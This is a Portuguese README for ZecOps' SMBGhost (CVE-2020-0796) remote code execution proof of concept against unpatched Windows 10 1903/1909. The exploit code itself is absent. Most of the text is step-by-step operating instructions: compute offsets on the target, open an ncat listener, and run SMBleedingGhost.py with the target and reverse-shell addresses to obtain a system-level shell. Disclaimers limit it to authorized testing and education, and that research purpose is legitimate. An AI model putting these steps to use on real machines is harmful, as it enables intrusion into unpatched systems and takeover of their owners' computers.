
Exploit de prova de conceito de execução remota de código para CVE-2020-0796 (SMBGhost) visando Windows 10 1903/1909 sem patch. Entrega um shell reverso via vulnerabilidade do protocolo SMB. Destinado a testes autorizados e educação.
(c) 2020 ZecOps, Inc. - https://www.zecops.com - Encontre os Erros dos Atacantes
POC de Execução Remota de Código para CVE-2020-0796 / "SMBGhost"
Resultado esperado: shell reversa com acesso ao sistema.
Destinado apenas para fins educacionais e testes em ambientes corporativos.
A ZecOps não se responsabiliza pelo código, use por sua conta e risco.
Entre em contato com [email protected] se tiver interesse em ferramentas DFIR sem agente para Servidores, Endpoints e Dispositivos Móveis para detectar SMBGhost e outros tipos de ataques automaticamente.
Certifique-se de que Python e ncat estejam instalados.
Execute calc_target_offsets.bat no computador alvo e ajuste os offsets no início do arquivo SMBleedingGhost.py de acordo com a saída do script (veja também a observação abaixo).
Execute ncat com os seguintes argumentos de linha de comando:
ncat -lvp <port>
Onde <port> é o número da porta em que o ncat estará ouvindo.
Execute SMBleedingGhost.py com os seguintes argumentos de linha de comando:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
Onde <target_ip> é o endereço IP do computador alvo vulnerável. <reverse_shell_ip> e <reverse_shell_port> são o endereço IP e o número da porta em que o ncat está ouvindo.
Se tudo correr bem, o ncat exibirá um shell que fornece acesso ao sistema do computador alvo.
Nota: Você pode estar se perguntando por que é necessário executar o script calc_target_offsets.bat no computador alvo, e se isso não anula todo o propósito da execução remota de código ser remota. Esses offsets não são aleatórios e são os mesmos em todas as instâncias Windows da mesma versão do Windows. Poderíamos tornar o ataque mais universal detectando a versão do Windows alvo e ajustando os offsets automaticamente, ou não dependendo deles, mas é apenas um POC e fizemos o que era mais simples. Também consideramos positivo que o POC não seja universal e não seja conveniente para usos além de testes e educação.

As versões 1903 e 1909 do Windows 10 são afetadas. Versões do Windows 10 1903 sem patch não são suportadas devido a um bug de desreferência nula no Windows (corrigido no KB4512941).
Devido à natureza da exploração, o POC funciona melhor em alvos executando em um computador (ou VM) com um único processador lógico. Alvos com mais de um processador lógico executando no VirtualBox também devem ser suportados, mas o POC é menos confiável neste caso. Outros alvos podem não ser suportados. Para detalhes, consulte nosso artigo técnico abaixo.